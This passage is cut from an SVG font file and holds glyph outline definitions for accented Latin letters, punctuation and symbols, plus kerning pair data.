<glyph unicode="&#xf0;" horiz-adv-x="1206" d="M88 481q0 92 32 176t91.5 151t153.5 106.5t208 39.5q46 0 89 -9t71 -21.5t50 -25t32 -21.5l10 -9h4q-61 163 -223 273l-370 -164l-21 127l254 113q-127 64 -264 94l55 162q240 -55 424 -164l285 125l18 -125l-188 -86q137 -114 216 -280t79 -380q0 -86 -18 -167.5 t-58.5 -158.5t-99.5 -134.5t-148 -92.5t-197 -35q-113 0 -206.5 43t-153.5 114.5t-92.5 161.5t-32.5 187zM289 477q0 -135 77 -232.5t212 -97.5q80 0 142.5 34.5t98.5 90.5t54 121.5t18 134.5q0 117 -79.5 192t-209.5 75q-150 0 -231.5 -93.5t-81.5 -224.5z" />
<glyph unicode="&#xf1;" horiz-adv-x="1234" d="M156 0v1036h192v-137l-4 -76h4q17 38 47.5 76t77 76t115.5 62t149 24q182 0 269.5 -99t87.5 -298v-664h-199v618q0 60 -8 103t-28 81t-60.5 57.5t-100.5 19.5q-117 0 -205.5 -70t-121.5 -184q-17 -58 -17 -140v-485h-198zM297 1188q0 260 209 260q38 0 70.5 -14.5t55 -35 t42.5 -40.5t43 -34.5t47 -14.5q42 0 61 40t19 93h143q0 -260 -209 -260q-38 0 -70.5 14.5t-55 35t-42.5 40.5t-43 34.5t-47 14.5q-42 0 -61 -39.5t-19 -93.5h-143z" />
<glyph unicode="&#xf2;" horiz-adv-x="1277" d="M80 520q0 115 44 216t119.5 172t178 112t217.5 41t217.5 -41t178 -112t119.5 -172t44 -216q0 -154 -75 -279.5t-203 -195.5t-281 -70t-281 70t-203 195.5t-75 279.5zM283 520q0 -161 104 -267t252 -106q150 0 253 106t103 267q0 159 -103 264t-253 105q-148 0 -252 -105 t-104 -264zM365 1446h213l149 -260h-168z" />
<glyph unicode="&#xf3;" horiz-adv-x="1277" d="M80 520q0 115 44 216t119.5 172t178 112t217.5 41t217.5 -41t178 -112t119.5 -172t44 -216q0 -154 -75 -279.5t-203 -195.5t-281 -70t-281 70t-203 195.5t-75 279.5zM283 520q0 -161 104 -267t252 -106q150 0 253 106t103 267q0 159 -103 264t-253 105q-148 0 -252 -105 t-104 -264zM551 1186l149 260h213l-196 -260h-166z" />
<glyph unicode="&#xf4;" horiz-adv-x="1277" d="M80 520q0 115 44 216t119.5 172t178 112t217.5 41t217.5 -41t178 -112t119.5 -172t44 -216q0 -154 -75 -279.5t-203 -195.5t-281 -70t-281 70t-203 195.5t-75 279.5zM283 520q0 -161 104 -267t252 -106q150 0 253 106t103 267q0 159 -103 264t-253 105q-148 0 -252 -105 t-104 -264zM356 1186l181 260h206l181 -260h-174l-109 164h-4l-107 -164h-174z" />
<glyph unicode="&#xf5;" horiz-adv-x="1277" d="M80 520q0 115 44 216t119.5 172t178 112t217.5 41t217.5 -41t178 -112t119.5 -172t44 -216q0 -154 -75 -279.5t-203 -195.5t-281 -70t-281 70t-203 195.5t-75 279.5zM283 520q0 -161 104 -267t252 -106q150 0 253 106t103 267q0 159 -103 264t-253 105q-148 0 -252 -105 t-104 -264zM295 1188q0 260 209 260q38 0 70.5 -14.5t55 -35t42.5 -40.5t43 -34.5t47 -14.5q42 0 61 40t19 93h143q0 -260 -209 -260q-38 0 -70.5 14.5t-55 35t-42.5 40.5t-43 34.5t-47 14.5q-42 0 -61 -39.5t-19 -93.5h-143z" />
<glyph unicode="&#xf6;" horiz-adv-x="1277" d="M80 520q0 115 44 216t119.5 172t178 112t217.5 41t217.5 -41t178 -112t119.5 -172t44 -216q0 -154 -75 -279.5t-203 -195.5t-281 -70t-281 70t-203 195.5t-75 279.5zM283 520q0 -161 104 -267t252 -106q150 0 253 106t103 267q0 159 -103 264t-253 105q-148 0 -252 -105 t-104 -264zM387 1239v207h164v-207h-164zM729 1239v207h164v-207h-164z" />
<glyph unicode="&#xf7;" horiz-adv-x="1300" d="M133 504v160h1034v-160h-1034zM553 90v186h192v-186h-192zM553 891v186h192v-186h-192z" />
<glyph unicode="&#xf8;" horiz-adv-x="1277" d="M80 520q0 115 44 216t119.5 172t178 112t217.5 41q146 0 276 -68l82 113l97 -70l-80 -110q86 -73 135 -178.5t49 -227.5q0 -154 -75 -279.5t-203 -195.5t-281 -70q-136 0 -262 60l-80 -113l-98 72l75 106q-91 73 -142.5 182.5t-51.5 237.5zM283 520q0 -159 102 -266 l426 592q-81 43 -172 43q-148 0 -252 -105t-104 -264zM483 182q72 -35 156 -35q150 0 253 106t103 267q0 148 -92 250z" />
<glyph unicode="&#xf9;" horiz-adv-x="1224" d="M141 373v663h199v-618q0 -59 7.5 -101.5t27.5 -80t60 -57t100 -19.5q152 0 243.5 115t91.5 276v485h199v-1036h-192v137l4 76h-4q-38 -90 -140 -164t-241 -74q-177 0 -266 97.5t-89 300.5zM332 1446h213l149 -260h-168z" />
<glyph unicode="&#xfa;" horiz-adv-x="1224" d="M141 373v663h199v-618q0 -59 7.5 -101.5t27.5 -80t60 -57t100 -19.5q152 0 243.5 115t91.5 276v485h199v-1036h-192v137l4 76h-4q-38 -90 -140 -164t-241 -74q-177 0 -266 97.5t-89 300.5zM516 1186l150 260h213l-197 -260h-166z" />
<glyph unicode="&#xfb;" horiz-adv-x="1224" d="M141 373v663h199v-618q0 -59 7.5 -101.5t27.5 -80t60 -57t100 -19.5q152 0 243.5 115t91.5 276v485h199v-1036h-192v137l4 76h-4q-38 -90 -140 -164t-241 -74q-177 0 -266 97.5t-89 300.5zM322 1186l180 260h207l180 -260h-174l-109 164h-4l-106 -164h-174z" />
<glyph unicode="&#xfc;" horiz-adv-x="1224" d="M141 373v663h199v-618q0 -59 7.5 -101.5t27.5 -80t60 -57t100 -19.5q152 0 243.5 115t91.5 276v485h199v-1036h-192v137l4 76h-4q-38 -90 -140 -164t-241 -74q-177 0 -266 97.5t-89 300.5zM354 1239v207h164v-207h-164zM696 1239v207h164v-207h-164z" />
<glyph unicode="&#xfd;" horiz-adv-x="1044" d="M4 1036h223l260 -678q9 -24 18.5 -55t14.5 -51l6 -19h4q17 70 35 123l252 680h215l-485 -1222q-46 -118 -135.5 -181t-200.5 -63q-52 0 -102 16t-75 32l-24 15l70 152q58 -43 121 -43q59 0 107.5 40.5t78.5 111.5l51 118zM440 1186l150 260h213l-197 -260h-166z" />
<glyph unicode="&#xfe;" horiz-adv-x="1228" d="M156 -410v1856h198v-471l-2 -86h4q2 2 18 22t30.5 36t43.5 38.5t59.5 38t76.5 26.5t98 11q139 0 244.5 -70t161 -193t55.5 -280q0 -239 -130.5 -391t-336.5 -152q-67 0 -124.5 17.5t-92 42.5t-60 50t-35.5 43l-10 17h-4q4 -37 4 -90v-465h-198zM348 516q0 -162 81 -265.5 t216 -103.5q128 0 211.5 103t83.5 268t-80.5 268t-210.5 103q-61 0 -114 -21t-95.5 -64.5t-67 -117t-24.5 -170.5z" />
<glyph unicode="&#xff;" horiz-adv-x="1044" d="M4 1036h223l260 -678q9 -24 18.5 -55t14.5 -51l6 -19h4q17 70 35 123l252 680h215l-485 -1222q-46 -118 -135.5 -181t-200.5 -63q-52 0 -102 16t-75 32l-24 15l70 152q58 -43 121 -43q59 0 107.5 40.5t78.5 111.5l51 118zM276 1239v207h164v-207h-164zM618 1239v207h164 v-207h-164z" />
<glyph unicode="&#x10c;" horiz-adv-x="1478" d="M98 731q0 155 56.5 292t153.5 235t234 155t292 57q97 0 187 -19.5t149 -47.5t104 -56t66 -47l20 -20l-100 -152q-7 6 -19.5 17t-55 38t-88.5 48t-115.5 38t-139.5 17q-158 0 -281 -74.5t-188.5 -200t-65.5 -278.5q0 -155 66 -284.5t190 -208t281 -78.5q76 0 150 19.5 t125 47t91.5 55t59.5 46.5l20 20l109 -145q-8 -9 -23.5 -24.5t-69.5 -55.5t-114 -70t-156.5 -55t-197.5 -25q-213 0 -383 100.5t-263.5 273t-93.5 382.5zM535 1806h174l106 -166h4l109 166h174l-180 -260h-207z" />
<glyph unicode="&#x10d;" horiz-adv-x="1120" d="M82 518q0 232 156.5 387.5t398.5 155.5q73 0 139.5 -15.5t110 -38t76.5 -45t48 -38.5l15 -15l-94 -139q-5 5 -13.5 13t-37 28.5t-59.5 36t-79.5 28.5t-97.5 13q-157 0 -258.5 -104.5t-101.5 -264.5t103 -266.5t263 -106.5q54 0 107 14.5t89.5 35t66 41t43.5 34.5l14 15 l80 -146q-6 -7 -17 -18t-50.5 -39.5t-84 -50.5t-115.5 -40t-147 -18q-243 0 -399 154t-156 389zM315 1446h174l107 -166h4l109 166h174l-181 -260h-206z" />
<glyph unicode="&#x10e;" horiz-adv-x="1515" d="M197 0v1446h479q221 0 386 -84t256 -248t91 -389q0 -340 -198.5 -532.5t-534.5 -192.5h-479zM399 176h263q249 0 393.5 143t144.5 406q0 261 -145 403t-393 142h-263v-1094zM422 1806h174l106 -166h5l108 166h174l-180 -260h-207z" />
<glyph unicode="&#x10f;" horiz-adv-x="1292" d="M88 518q0 245 131 394t338 149q67 0 125 -17t92 -41t59 -48t35 -41l9 -17h4q-4 31 -4 70v479h198v-1446h-188v98l2 70h-4q-3 -8 -10.5 -21t-35.5 -46t-63.5 -58.5t-97 -46.5t-133.5 -21q-209 0 -333 149.5t-124 393.5zM291 518q0 -167 81.5 -269t211.5 -102 q60 0 112 21.5t95 65t67.5 117.5t24.5 169q0 96 -31 177.5t-99.5 136.5t-162.5 55q-128 0 -213.5 -100t-85.5 -271zM1180 1149q39 107 39 172q0 60 -25 125h174q14 -55 14 -105q0 -84 -51 -192h-151z" />
<glyph unicode="&#x11a;" horiz-adv-x="1173" d="M197 0v1446h839v-176h-637v-453h519v-176h-519v-465h672v-176h-874zM356 1806h174l107 -166h4l109 166h174l-181 -260h-206z" />
<glyph unicode="&#x11b;" horiz-adv-x="1136" d="M84 518q0 244 146.5 393.5t371.5 149.5q142 0 245.5 -66.5t153.5 -175t50 -244.5l-7 -86h-755q7 -163 108.5 -252.5t247.5 -89.5q50 0 100 12.5t85.5 30.5t64 35.5t43.5 30.5l14 12l82 -145q-6 -6 -18 -16t-51.5 -35.5t-83 -45t-111.5 -35.5t-137 -16q-160 0 -286 71.5 t-194.5 195t-68.5 276.5zM295 639h553q-4 128 -74.5 196t-175.5 68q-117 0 -199.5 -69.5t-103.5 -194.5zM317 1446h175l106 -166h4l109 166h174l-180 -260h-207z" />
<glyph unicode="&#x131;" horiz-adv-x="509" d="M156 0v1036h198v-1036h-198z" />
<glyph unicode="&#x139;" horiz-adv-x="1083" d="M197 0v1446h202v-1270h648v-176h-850zM211 1546l149 260h213l-196 -260h-166z" />
<glyph unicode="&#x13a;" horiz-adv-x="542" d="M143 283v1163h199v-1129q0 -86 29 -116.5t82 -30.5l34 2v-176q-30 -4 -65 -4q-40 0 -73 5t-73 23t-67.5 48t-46.5 85t-19 130zM156 1546l149 260h213l-196 -260h-166z" />
<glyph unicode="&#x13d;" horiz-adv-x="1083" d="M197 0v1446h202v-1270h648v-176h-850zM559 1149q39 107 39 172q0 60 -25 125h175q14 -55 14 -105q0 -84 -51 -192h-152z" />
<glyph unicode="&#x13e;" horiz-adv-x="604" d="M143 283v1163h199v-1129q0 -86 29 -116.5t82 -30.5l34 2v-176q-30 -4 -65 -4q-40 0 -73 5t-73 23t-67.5 48t-46.5 85t-19 130zM449 1149q38 104 38 172q0 62 -24 125h174q14 -55 14 -105q0 -84 -51 -192h-151z" />
<glyph unicode="&#x147;" horiz-adv-x="1550" d="M197 0v1446h200l643 -940q24 -35 54 -87t48 -87l19 -35h4q-14 129 -14 209v940h203v-1446h-199l-645 938q-24 36 -54 88.5t-48 87.5l-19 35h-4q14 -129 14 -211v-938h-202zM492 1806h174l106 -166h4l109 166h174l-180 -260h-207z" />
<glyph unicode="&#x148;" horiz-adv-x="1234" d="M156 0v1036h192v-137l-4 -76h4q17 38 47.5 76t77 76t115.5 62t149 24q182 0 269.5 -99t87.5 -298v-664h-199v618q0 60 -8 103t-28 81t-60.5 57.5t-100.5 19.5q-117 0 -205.5 -70t-121.5 -184q-17 -58 -17 -140v-485h-198zM356 1446h174l107 -166h4l109 166h174l-181 -260 h-206z" />
<glyph unicode="&#x152;" horiz-adv-x="1966" d="M98 725q0 205 97.5 374.5t269 267t381.5 97.5q54 0 137 -9t115 -9h733v-176h-639v-453h520v-176h-520v-465h676v-176h-768q-32 0 -116 -9t-138 -9q-210 0 -381.5 98t-269 268.5t-97.5 376.5zM307 725q0 -158 68 -287.5t192 -204.5t279 -75q36 0 72.5 3.5t54.5 6.5l18 4 v1102q-63 16 -145 16q-155 0 -279 -75.5t-192 -204t-68 -285.5z" />
<glyph unicode="&#x153;" horiz-adv-x="2048" d="M82 516q0 160 75.5 285.5t201 192.5t276.5 67q150 0 264 -65t184 -181h4q63 118 171 182t255 64q142 0 245.5 -66.5t153.5 -175t50 -244.5l-6 -86h-756q6 -83 37 -149.5t80 -108t109.5 -63t129.5 -21.5q79 0 156 30.5t114 60.5l38 30l82 -145q-6 -6 -18 -16t-52 -35.5 t-83.5 -45t-111.5 -35.5t-137 -16q-157 0 -272 67t-180 185h-5q-68 -119 -183.5 -185.5t-268.5 -66.5q-151 0 -276.5 66t-201 190.5t-75.5 284.5zM285 516q0 -165 102.5 -267t251.5 -102t252.5 103.5t103.5 271.5q0 163 -104.5 265t-251.5 102q-148 0 -251 -104t-103 -269z M1206 639h553q-4 127 -73.5 195.5t-174.5 68.5q-118 0 -201 -69.5t-104 -194.5z" />
<glyph unicode="&#x154;" horiz-adv-x="1312" d="M197 0v1446h442q179 0 270 -33q112 -42 178 -146t66 -245q0 -138 -71 -245.5t-189 -145.5v-4q16 -19 43 -66l307 -561h-229l-305 575h-310v-575h-202zM399 752h291q119 0 187.5 70.5t68.5 191.5q0 159 -115 223q-64 33 -198 33h-234v-518zM543 1546l149 260h213 l-196 -260h-166z" />
<glyph unicode="&#x155;" horiz-adv-x="768" d="M156 0v1036h192v-180l-4 -78h4q37 119 124.5 195t203.5 76l51 -5v-196q-26 6 -57 6q-97 0 -176.5 -65t-114.5 -179q-25 -82 -25 -186v-424h-198zM371 1186l149 260h213l-196 -260h-166z" />
<glyph unicode="&#x158;" horiz-adv-x="1312" d="M197 0v1446h442q179 0 270 -33q112 -42 178 -146t66 -245q0 -138 -71 -245.5t-189 -145.5v-4q16 -19 43 -66l307 -561h-229l-305 575h-310v-575h-202zM348 1806h174l107 -166h4l108 166h174l-180 -260h-207zM399 752h291q119 0 187.5 70.5t68.5 191.5q0 159 -115 223 q-64 33 -198 33h-234v-518z" />
<glyph unicode="&#x159;" horiz-adv-x="768" d="M156 0v1036h192v-180l-4 -78h4q37 119 124.5 195t203.5 76l51 -5v-196q-26 6 -57 6q-97 0 -176.5 -65t-114.5 -179q-25 -82 -25 -186v-424h-198zM178 1446h174l107 -166h4l108 166h174l-180 -260h-207z" />
<glyph unicode="&#x160;" horiz-adv-x="1118" d="M86 166l115 153q6 -6 17.5 -16.5t49.5 -37.5t78.5 -47t101.5 -37t121 -17q106 0 178 57t72 156q0 50 -24 91t-64.5 71t-93 57t-110.5 52t-116 51.5t-110.5 61t-93 76t-64.5 100.5t-24 130q0 170 132.5 286.5t334.5 116.5q75 0 145 -15t115.5 -36t81 -42.5t51.5 -36.5 l16 -15l-92 -168q-5 5 -15.5 13.5t-43 30t-67.5 38t-87 30t-104 13.5q-114 0 -188 -61.5t-74 -149.5q0 -48 24 -87t64.5 -67t93 -53t110.5 -49t116 -50.5t110.5 -61.5t93 -78t64.5 -105t24 -137q0 -173 -125 -290.5t-334 -117.5q-86 0 -167 19.5t-135 48t-96 56.5t-61 47z M281 1806h174l106 -166h4l109 166h174l-180 -260h-207z" />
<glyph unicode="&#x161;" horiz-adv-x="917" d="M72 127l96 141q5 -5 14 -13t38.5 -29t62 -37t82.5 -29t100 -13q69 0 120.5 34.5t51.5 94.5q0 38 -29.5 68.5t-76.5 53t-104 44.5t-113.5 49.5t-103.5 62t-76.5 89t-29.5 123.5q0 137 107 216t268 79q64 0 121.5 -12t94.5 -28.5t65 -33.5t40 -29l13 -12l-80 -149 q-4 4 -11 10t-32 22t-52.5 28t-71 22t-89.5 10q-71 0 -120.5 -32t-49.5 -95q0 -37 29.5 -67t76.5 -51.5t103.5 -43t113.5 -49.5t104 -62.5t76.5 -89t29.5 -123.5q0 -131 -103.5 -216t-271.5 -85q-71 0 -137.5 15.5t-111 38t-78.5 45t-50 38.5zM184 1446h174l107 -166h4 l109 166h174l-181 -260h-206z" />
<glyph unicode="&#x164;" horiz-adv-x="1214" d="M10 1270v176h1194v-176h-495v-1270h-203v1270h-496zM324 1806h174l106 -166h4l109 166h174l-180 -260h-207z" />
<glyph unicode="&#x165;" horiz-adv-x="733" d="M63 862v160h142v299h192v-299h250v-160h-250v-461q0 -59 16 -103.5t39.5 -68.5t55.5 -38.5t57.5 -18.5t52.5 -4l48 4v-176q-29 -4 -70 -4q-48 0 -93 6.5t-103 30.5t-100 63.5t-71.5 113.5t-29.5 173v483h-136zM506 1157q39 107 39 168q0 58 -25 123h174q15 -58 15 -102 q0 -82 -52 -189h-151z" />
<glyph unicode="&#x16e;" horiz-adv-x="1490" d="M176 512v934h203v-934q0 -164 98.5 -257t265.5 -93q169 0 269 93.5t100 260.5v930h203v-934q0 -241 -158 -389t-412 -148t-411.5 148t-157.5 389zM571 1673q0 70 51 112t123 42q71 0 123 -42.5t52 -111.5q0 -68 -52 -109.5t-123 -41.5q-72 0 -123 41.5t-51 109.5z M678 1673q0 -30 18.5 -48.5t48.5 -18.5q29 0 48.5 19t19.5 48q0 32 -19 52t-49 20q-31 0 -49 -20t-18 -52z" />
<glyph unicode="&#x16f;" horiz-adv-x="1224" d="M141 373v663h199v-618q0 -59 7.5 -101.5t27.5 -80t60 -57t100 -19.5q152 0 243.5 115t91.5 276v485h199v-1036h-192v137l4 76h-4q-38 -90 -140 -164t-241 -74q-177 0 -266 97.5t-89 300.5zM432 1313q0 69 51 111t123 42q71 0 122.5 -42t51.5 -111q0 -68 -51.5 -110 t-122.5 -42q-72 0 -123 42t-51 110zM539 1313q0 -30 18.5 -49t48.5 -19q29 0 48.5 19.5t19.5 48.5q0 32 -19 51.5t-49 19.5q-31 0 -49 -19.5t-18 -51.5z" />
<glyph unicode="&#x178;" horiz-adv-x="1204" d="M16 1446h230l268 -475q20 -36 42 -81.5t34 -73.5l12 -28h4q43 101 88 183l264 475h230l-483 -834v-612h-203v612zM344 1599v207h164v-207h-164zM686 1599v207h164v-207h-164z" />
<glyph unicode="&#x17d;" horiz-adv-x="1243" d="M84 0v135l696 1004q24 36 50.5 69.5t40.5 48.5l14 15v4q-39 -6 -109 -6h-655v176h1016v-133l-697 -1006q-24 -36 -50 -68.5t-40 -47.5l-14 -15v-4q38 4 108 4h701v-176h-1061zM358 1806h174l107 -166h4l109 166h174l-181 -260h-206z" />
<glyph unicode="&#x17e;" horiz-adv-x="1058" d="M80 0v115l522 655q20 24 41.5 48t32.5 36l12 12v4q-32 -4 -100 -4h-486v170h854v-114l-522 -658q-19 -24 -41 -47.5t-35 -34.5l-12 -12v-4q35 4 103 4h526v-170h-895zM238 1446h174l106 -166h4l109 166h174l-180 -260h-207z" />
<glyph unicode="&#x192;" horiz-adv-x="1165" d="M57 -43q78 -12 133 -12q27 0 52.5 4t58 18.5t57 37.5t44 66.5t24.5 100.5l47 545h-168v160h182l21 208q9 98 44 171t79.5 112.5t103.5 64t104 31t93 6.5q34 0 77 -3.5t69 -6.5l26 -4v-172q-103 14 -164 14q-28 0 -53.5 -4t-57.5 -18.5t-56.5 -37.5t-43.5 -66.5 t-24 -100.5l-19 -194h240v-160h-254l-49 -561q-9 -98 -44 -171t-79.5 -112t-103 -63t-103.5 -30.5t-92 -6.5q-32 0 -68 3t-56 6l-20 3v172z" />
<glyph unicode="&#x2c6;" d="M227 1546l181 260h206l181 -260h-174l-109 164h-4l-107 -164h-174z" />
<glyph unicode="&#x2c7;" d="M227 1806h174l107 -166h4l109 166h174l-181 -260h-206z" />
<glyph unicode="&#x2d8;" d="M242 1778v28h147v-26q0 -61 35.5 -92t87.5 -31q49 0 85 31.5t36 93.5v24h147v-28q0 -113 -78.5 -176.5t-189.5 -63.5q-113 0 -191.5 63.5t-78.5 176.5z" />
<glyph unicode="&#x2d9;" horiz-adv-x="1024" d="M422 1606v200h178v-200h-178z" />
<glyph unicode="&#x2da;" horiz-adv-x="1024" d="M338 1673q0 70 51 112t123 42q71 0 122.5 -42.5t51.5 -111.5q0 -68 -51.5 -109.5t-122.5 -41.5q-72 0 -123 41.5t-51 109.5zM444 1673q0 -29 19 -48t49 -19q29 0 48.5 19t19.5 48q0 32 -19 52t-49 20q-31 0 -49.5 -20t-18.5 -52z" />
<glyph unicode="&#x2db;" d="M348 -229q0 46 21 91.5t50.5 77t59.5 57t51 37.5l21 13l125 -27q-6 -4 -17 -12t-38 -32t-48 -47.5t-38 -54t-17 -56.5q0 -35 29 -57t57 -27l29 -4l-47 -154q-5 0 -13.5 1.5t-33.5 6.5t-47.5 13t-49.5 23.5t-47 35t-33.5 49.5t-13.5 66z" />
<glyph unicode="&#x2dc;" d="M166 1548q0 260 209 260q38 0 70.5 -14.5t55 -35t42.5 -40.5t43 -34.5t47 -14.5q42 0 61 40t19 93h143q0 -260 -209 -260q-38 0 -70.5 14.5t-55 35t-42.5 40.5t-43 34.5t-47 14.5q-42 0 -61 -39.5t-19 -93.5h-143z" />
<glyph unicode="&#x2dd;" d="M176 1546l139 260h179l-146 -260h-172zM492 1546l149 260h207l-197 -260h-159z" />
<glyph unicode="&#x2000;" horiz-adv-x="913" />
<glyph unicode="&#x2001;" horiz-adv-x="1827" />
<glyph unicode="&#x2002;" horiz-adv-x="913" />
<glyph unicode="&#x2003;" horiz-adv-x="1827" />
<glyph unicode="&#x2004;" horiz-adv-x="609" />
<glyph unicode="&#x2005;" horiz-adv-x="456" />
<glyph unicode="&#x2006;" horiz-adv-x="304" />
<glyph unicode="&#x2007;" horiz-adv-x="304" />
<glyph unicode="&#x2008;" horiz-adv-x="228" />
<glyph unicode="&#x2009;" horiz-adv-x="365" />
<glyph unicode="&#x200a;" horiz-adv-x="101" />
<glyph unicode="&#x2010;" horiz-adv-x="966" d="M184 496v176h598v-176h-598z" />
<glyph unicode="&#x2011;" horiz-adv-x="966" d="M184 496v176h598v-176h-598z" />
<glyph unicode="&#x2012;" horiz-adv-x="966" d="M184 496v176h598v-176h-598z" />
<glyph unicode="&#x2013;" horiz-adv-x="1445" d="M184 504v160h1078v-160h-1078z" />
<glyph unicode="&#x2014;" horiz-adv-x="1855" d="M184 504v160h1487v-160h-1487z" />
<glyph unicode="&#x2018;" horiz-adv-x="464" d="M100 1069l136 399h145l-88 -399h-193z" />
<glyph unicode="&#x2019;" horiz-adv-x="448" d="M104 1071l89 399h192l-133 -399h-148z" />
<glyph unicode="&#x201a;" horiz-adv-x="499" d="M86 -184l88 399h186l-133 -399h-141z" />
<glyph unicode="&#x201c;" horiz-adv-x="755" d="M100 1069l136 399h147l-88 -399h-195zM389 1069l135 399h148l-88 -399h-195z" />
<glyph unicode="&#x201d;" horiz-adv-x="737" d="M104 1071l89 399h194l-135 -399h-148zM393 1071l88 399h195l-133 -399h-150z" />
<glyph unicode="&#x201e;" horiz-adv-x="784" d="M86 -184l88 399h186l-133 -399h-141zM369 -184l88 399h188l-133 -399h-143z" />
<glyph unicode="&#x2020;" horiz-adv-x="864" d="M86 879v157h248v410h190v-410h254v-157h-254v-981h-190v981h-248z" />
<glyph unicode="&#x2021;" horiz-adv-x="937" d="M123 350v160h248v369h-248v157h248v410h190v-410h254v-157h-254v-369h254v-160h-254v-452h-190v452h-248z" />
<glyph unicode="&#x2022;" horiz-adv-x="841" d="M104 596q0 132 93 224.5t225 92.5q131 0 223 -92.5t92 -224.5t-92 -224.5t-223 -92.5q-132 0 -225 92.5t-93 224.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1576" d="M156 0v211h202v-211h-202zM686 0v211h205v-211h-205zM1219 0v211h202v-211h-202z" />
<glyph unicode="&#x202f;" horiz-adv-x="365" />
<glyph unicode="&#x2030;" horiz-adv-x="2283" d="M98 1167q0 125 90.5 214t219.5 89t220 -89t91 -214q0 -126 -91 -214.5t-220 -88.5t-219.5 88.5t-90.5 214.5zM129 0l1106 1446h192l-1105 -1446h-193zM256 1167q0 -64 43.5 -107.5t108.5 -43.5q64 0 107.5 43t43.5 108q0 64 -43.5 109t-107.5 45t-108 -45t-44 -109z M840 279q0 125 90.5 214t220.5 89q128 0 219.5 -89.5t91.5 -213.5q0 -126 -91.5 -215t-219.5 -89q-130 0 -220.5 89t-90.5 215zM999 279q0 -65 43.5 -108.5t108.5 -43.5q63 0 107.5 44t44.5 108q0 63 -44.5 108t-107.5 45q-64 0 -108 -45t-44 -108zM1567 279q0 125 90 214 t219 89t220 -89t91 -214q0 -126 -91 -215t-220 -89t-219 89t-90 215zM1724 279q0 -65 44 -108.5t108 -43.5t108 43.5t44 108.5q0 63 -44 108t-108 45t-108 -45t-44 -108z" />
<glyph unicode="&#x2039;" horiz-adv-x="727" d="M90 578l336 421h199l-336 -421l336 -420h-199z" />
<glyph unicode="&#x203a;" horiz-adv-x="727" d="M102 158l336 420l-336 421h199l336 -421l-336 -420h-199z" />
<glyph unicode="&#x2044;" horiz-adv-x="344" d="M-248 0l688 1446h154l-688 -1446h-154z" />
<glyph unicode="&#x205f;" horiz-adv-x="456" />
<glyph unicode="&#x20ac;" horiz-adv-x="1210" d="M78 528v129h112q-9 82 0 148h-112v131h137q62 236 251.5 385t440.5 149q51 0 103 -6t78 -12l26 -6l-49 -186q-76 22 -162 22q-170 0 -295.5 -93.5t-177.5 -252.5h576l-27 -131h-578q-12 -68 -2 -148h553l-26 -129h-492q48 -162 177.5 -261t299.5 -99q45 0 92 7t71 13 l24 7l39 -185q-99 -35 -230 -35q-258 0 -447 153t-247 400h-135z" />
<glyph unicode="&#x2122;" horiz-adv-x="1925" d="M47 1309v137h778v-137h-311v-764h-156v764h-311zM891 545l72 901h141l213 -471q7 -16 14.5 -37.5t10.5 -35.5l4 -13h4q12 49 26 86l213 471h144l69 -901h-153l-43 538l2 62h-4l-195 -434h-125l-194 434h-5l2 -62l-43 -538h-153z" />
<glyph unicode="&#x221e;" horiz-adv-x="1040" d="M147 715q0 155 109.5 262.5t263.5 107.5q156 0 264.5 -107.5t108.5 -262.5q0 -154 -109 -263.5t-264 -109.5q-154 0 -263.5 109.5t-109.5 263.5z" />
<glyph unicode="&#x2248;" horiz-adv-x="1255" d="M117 391q60 63 141 106.5t168 43.5q65 0 124 -22.5t96.5 -49.5t87 -49.5t97.5 -22.5q59 0 120 32.5t106 80.5l84 -121q-60 -62 -141.5 -104.5t-168.5 -42.5q-65 0 -124 22.5t-96.5 49t-87 49t-97.5 22.5q-60 0 -119.5 -32.5t-105.5 -80.5zM117 778q60 63 141 106.5 t168 43.5q65 0 124 -22.5t96.5 -49.5t87 -49.5t97.5 -22.5q59 0 120 32.5t106 80.5l84 -121q-60 -62 -141.5 -104.5t-168.5 -42.5q-65 0 -124 22.5t-96.5 49t-87 49t-97.5 22.5q-60 0 -119 -33t-106 -82z" />
<glyph unicode="&#x2260;" horiz-adv-x="1255" d="M139 309v160h332l164 227h-496v160h602l168 236l105 -72l-119 -164h221v-160h-328l-161 -227h489v-160h-598l-162 -229l-106 70l115 159h-226z" />
<glyph unicode="&#x2264;" horiz-adv-x="1255" d="M137 516v135l955 426v-182l-734 -309v-4l734 -310v-182zM139 -195h953v-159h-953v159z" />
<glyph unicode="&#x2265;" horiz-adv-x="1255" d="M164 90v182l733 310v4l-733 309v182l956 -426v-135zM164 -195h952v-159h-952v159z" />
<glyph unicode="&#x25fc;" horiz-adv-x="1034" d="M0 0v1034h1034v-1034h-1034z" />
<hkern u1="&#x28;" u2="&#xef;" k="-41" />
<hkern u1="&#x28;" u2="&#xec;" k="-41" />
<hkern u1="&#x28;" u2="j" k="-18" />
<hkern u1="&#x28;" u2="V" k="-25" />
<hkern u1="&#x2c;" u2="v" k="35" />
<hkern u1="&#x2c;" u2="V" k="109" />
<hkern u1="&#x2c;" u2="M" k="10" />
<hkern u1="&#x2c;" u2="&#x39;" k="25" />
<hkern u1="&#x2c;" u2="&#x38;" k="14" />
<hkern u1="&#x2c;" u2="&#x37;" k="31" />
<hkern u1="&#x2c;" u2="&#x36;" k="33" />
<hkern u1="&#x2c;" u2="&#x34;" k="96" />
<hkern u1="&#x2c;" u2="&#x30;" k="31" />
<hkern u1="&#x2e;" u2="v" k="37" />
<hkern u1="&#x2e;" u2="V" k="109" />
<hkern u1="&#x2e;" u2="&#x39;" k="18" />
<hkern u1="&#x2e;" u2="&#x38;" k="16" />
<hkern u1="&#x2e;" u2="&#x37;" k="23" />
<hkern u1="&#x2e;" u2="&#x36;" k="37" />
<hkern u1="&#x2e;" u2="&#x34;" k="98" />
<hkern u1="&#x2e;" u2="&#x30;" k="35" />
<hkern u1="&#x2f;" u2="&#x37;" k="-12" />
<hkern u1="&#x30;" u2="&#x2e;" k="35" />
<hkern u1="&#x30;" u2="&#x2c;" k="37" />
<hkern u1="&#x31;" u2="&#x34;" k="37" />
<hkern u1="&#x31;" u2="&#x2f;" k="-10" />
<hkern u1="&#x32;" u2="&#x34;" k="35" />
<hkern u1="&#x33;" u2="&#x2e;" k="18" />
<hkern u1="&#x33;" u2="&#x2c;" k="23" />
<hkern u1="&#x34;" u2="&#x2e;" k="45" />
<hkern u1="&#x34;" u2="&#x2c;" k="41" />
<hkern u1="&#x35;" u2="&#x2e;" k="16" />
<hkern u1="&#x35;" u2="&#x2c;" k="18" />
<hkern u1="&#x36;" u2="&#x2e;" k="14" />
<hkern u1="&#x36;" u2="&#x2c;" k="16" />
